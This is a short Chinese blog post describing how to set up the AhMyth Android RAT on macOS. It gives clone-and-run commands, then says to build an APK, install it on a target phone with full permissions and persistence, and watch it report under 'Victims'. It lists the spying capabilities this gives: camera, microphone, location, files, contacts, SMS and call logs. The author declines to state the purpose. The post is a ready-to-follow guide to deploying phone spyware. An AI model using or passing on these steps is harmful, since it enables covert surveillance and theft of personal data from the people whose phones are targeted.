手撸一个 Android 的 RAT(reote administration tool)

整一个 Android 的 RAT

缘起

这个需求来源没法说,就是想找个 Android 手机的远程管理工具。

具体步骤

macOS 上

1
2
3
4
5
6
npm install electron -g;
brew tap AdoptOpenJDK/openjdk;
brew cask install adoptopenjdk8;
git clone https://github.com/AhMyth/AhMyth-Android-RAT.git;
cd AhMyth-Android-RAT/AhMyth-Server;
npm start;

在弹出的页面里 build 一个 apk,再安装到要远程管理的 android 手机上,并执行之。注意:权限要给够,要常驻内存。

然后再在 Victims 里 listen 一下,应该就会看到刚装了那个 apk 的手机报上来的信息。

点击进去后,发现能调用摄像头照相、录音、获取位置、存取手机存储里的资料、获取联系人信息、获取短信、发送短信、获取通话记录。

问题也很明显:安装时提示软件不是为 Android 10 编写的,也许会有兼容性问题,当然,Andorid 10 上也是能跑的。